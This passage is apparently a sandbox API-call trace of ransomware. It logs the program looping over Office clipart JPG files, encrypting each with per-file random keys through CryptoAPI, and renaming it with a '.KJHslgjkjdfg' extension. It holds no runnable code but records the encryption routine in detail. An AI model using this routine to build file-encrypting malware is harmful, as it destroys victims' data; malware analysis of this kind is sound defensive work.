hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.064] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.064] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0202.066] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.066] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.066] GetProcessHeap () returned 0x990000 [0202.066] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.066] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.066] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.067] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.067] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.067] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.067] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.067] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.067] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.067] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.067] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x15a7f, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x15a7f, lpOverlapped=0x0) returned 1 [0202.069] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x15a80, dwBufLen=0x15a80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x15a80) returned 1 [0202.071] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.071] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x15a80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x15a80, lpOverlapped=0x0) returned 1 [0202.071] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.071] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.071] SetEndOfFile (hFile=0x130) returned 1 [0202.073] GetProcessHeap () returned 0x990000 [0202.073] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.073] GetProcessHeap () returned 0x990000 [0202.073] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.073] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg.kjhslgjkjdfg")) returned 1 [0202.074] CloseHandle (hObject=0x130) returned 1 [0202.074] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15fef, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382955.JPG", cAlternateFileName="")) returned 1 [0202.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.075] GetProcessHeap () returned 0x990000 [0202.075] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.075] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.075] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.075] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0202.077] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.077] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.077] GetProcessHeap () returned 0x990000 [0202.077] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.077] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.077] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.077] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.077] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.077] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.078] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.078] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.078] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.078] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.078] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.078] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.078] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x15fef, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x15fef, lpOverlapped=0x0) returned 1 [0202.080] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x15ff0, dwBufLen=0x15ff0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x15ff0) returned 1 [0202.081] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.081] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x15ff0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x15ff0, lpOverlapped=0x0) returned 1 [0202.081] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.081] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x160c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.081] SetEndOfFile (hFile=0x130) returned 1 [0202.084] GetProcessHeap () returned 0x990000 [0202.084] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.084] GetProcessHeap () returned 0x990000 [0202.084] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.084] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg.kjhslgjkjdfg")) returned 1 [0202.086] CloseHandle (hObject=0x130) returned 1 [0202.086] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a9ed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382957.JPG", cAlternateFileName="")) returned 1 [0202.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.087] GetProcessHeap () returned 0x990000 [0202.087] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.087] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.087] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.087] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x3, lpOverlapped=0x0) returned 1 [0202.089] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.089] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.089] GetProcessHeap () returned 0x990000 [0202.089] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.089] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.089] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.089] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.089] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.089] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.089] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.089] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.089] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.089] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.089] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.089] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.089] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1a9ed, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1a9ed, lpOverlapped=0x0) returned 1 [0202.091] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a9f0, dwBufLen=0x1a9f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a9f0) returned 1 [0202.092] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.092] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1a9f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1a9f0, lpOverlapped=0x0) returned 1 [0202.092] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1aac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.093] SetEndOfFile (hFile=0x130) returned 1 [0202.095] GetProcessHeap () returned 0x990000 [0202.095] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.095] GetProcessHeap () returned 0x990000 [0202.095] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.096] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg.kjhslgjkjdfg")) returned 1 [0202.097] CloseHandle (hObject=0x130) returned 1 [0202.097] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x193e7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382958.JPG", cAlternateFileName="")) returned 1 [0202.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.098] GetProcessHeap () returned 0x990000 [0202.098] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.098] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.098] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.098] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0202.101] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.101] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.101] GetProcessHeap () returned 0x990000 [0202.101] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.101] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.101] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.101] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.101] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.101] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.101] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.101] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.102] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.102] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.102] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.102] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x193e7, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x193e7, lpOverlapped=0x0) returned 1 [0202.104] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x193f0, dwBufLen=0x193f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x193f0) returned 1 [0202.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.105] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x193f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x193f0, lpOverlapped=0x0) returned 1 [0202.106] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.106] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x194c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.106] SetEndOfFile (hFile=0x130) returned 1 [0202.109] GetProcessHeap () returned 0x990000 [0202.110] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.110] GetProcessHeap () returned 0x990000 [0202.110] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.110] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg.kjhslgjkjdfg")) returned 1 [0202.111] CloseHandle (hObject=0x130) returned 1 [0202.111] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14f8a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382959.JPG", cAlternateFileName="")) returned 1 [0202.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.117] GetProcessHeap () returned 0x990000 [0202.117] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.117] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.117] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.117] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0202.119] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.119] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.119] GetProcessHeap () returned 0x990000 [0202.119] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.119] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.119] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.119] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.119] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, 